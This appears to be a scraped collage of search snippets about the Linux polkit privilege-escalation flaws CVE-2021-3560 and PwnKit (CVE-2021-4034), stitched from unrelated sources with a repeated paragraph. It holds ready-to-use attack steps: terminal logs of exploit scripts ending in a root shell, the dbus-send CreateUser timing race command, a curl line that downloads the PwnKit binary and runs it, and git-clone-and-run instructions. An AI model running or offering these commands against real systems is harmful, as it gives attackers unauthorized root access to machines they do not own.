Privilege escalation with polkit - CVE-2021-3560. Contribute to Almorabea/Polkit-exploit development by creating an account on GitHub.

An attacker can exploit this vulnerability by triggering polkit by sending a dbus message, but closing the request abruptly, while polkit is processing the request.

This is a POC for the vulnerability found in polkit's pkexec binary which is used to run programs as another users.

This is static binary file to exploit the polkit vulnerability (CVE-2021-4034) Just copy and paste on target this command and get root shell.

test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py ************** Exploit: Privilege escalation with polkit - CVE-2021-3560 Exploit code written by Ahmad Almorabea @almorabea Original Exploit Author: Kevin Backhouse For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history [+]Starting the Exploit [+] User Created with the name of ahmed [+] Timed out at: 0.008446890996407191 [+] Timed out at: 0.008934336684707084 [+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root bash: cannot set terminal process group (46983): Inappropriate ioctl for device bash: no job control in this shell root@ubuntu:/home/test/Desktop# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:/home/test/Desktop# whoami root root@ubuntu:/home/test/Desktop#

January 26, 2022 - That’s why it usually takes a few tries for the exploit to succeed. I’d guess it’s also the reason why the bug wasn’t previously discovered. If you could trigger the vulnerability by killing the dbus-send command immediately, then I expect it would have been discovered a long time ago, because that’s a much more obvious thing to test for. The function which asks dbus-daemon for the UID of the requesting connection is named polkit_system_bus_name_get_creds_sync:

ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin [===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===] [+] Current User: ubuntu [+] Variable for Polkit Configuration [*] Username : adminhs [*] Password : admin1 [*] Fullname : admin [+] Sending create user command to determine time execution [*] Execution time: 0.018076ms [+] Time to killing dbus-send setting to 0.009038ms dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $! ..................

Exploit for CVE-2021-3560 (Polkit) - Local Privilege Escalation - UNICORDev/exploit-CVE-2021-3560

pkexec (Polkit) exploit of Privilege Escalation vulnerability CVE-2021-4034 - Kirill89/CVE-2021-4034

In short, by destroying the message ID before the dbus-daemon has a chance to give polkit the correct ID, we exploit the poor error-handling in polkit to trick the utility into thinking that the request was made by the all-powerful root user.

polkit-0.115-13.al8.1 {% endtab %} {% tab title="Exploit" %} We can use this exploit made by ly4k. It should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. #Run the exploit curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit # interactive shell ./PwnKit 'id' # single command # Or you may want to compile it by yourself gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC ·

June 15, 2021 - # Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation # Date: 06/11/2021 # Exploit Author: J Smith (CadmusofThebes) # Vendor Homepage: https://www.freedesktop.org/ # Software Link: https://www.freedesktop.org/software/polkit...

It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). You can easily exploit the system using a single script, downloadable and executable with this command:

It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). You can easily exploit the system using a single script, downloadable and executable with this command:

Automatic Explotation PoC for Polkit CVE-2021-3560 - polkit-auto-exploit/README.md at main · aancw/polkit-auto-exploit

February 2, 2022 - >git clone https://github.com/n3onhacks/CVE-2021-3560.git >chmod -R CVE-2021-3560 >cd CVE-2021-3560 >./polkit.sh

January 27, 2022 - # Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation # Exploit Author: Lance Biggerstaff # Original Author: ryaagard (https://github.com/ryaagard) # Date: 27-01-2022 # Github Repo: https://github.com/ryaagard/CVE-2021-4034 # References: ...

local-privilege-escalation polkit pkexec polkit-agent cve-2021-4034 polkit-exploit

dev@server:/tmp/CVE-2021-3560$ make dev@server:/tmp/CVE-2021-3560$ ./exploit pid:264181 - [ polkit CVE-2021-3560 exploit ] - RicterZ @ 360 Noah Lab, C writed by Swing @ chaitin pid:264181 - [*] main process running ... pid:264183 - [*] starting polkit authentication agent ...

PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) - arthepsy/CVE-2021-4034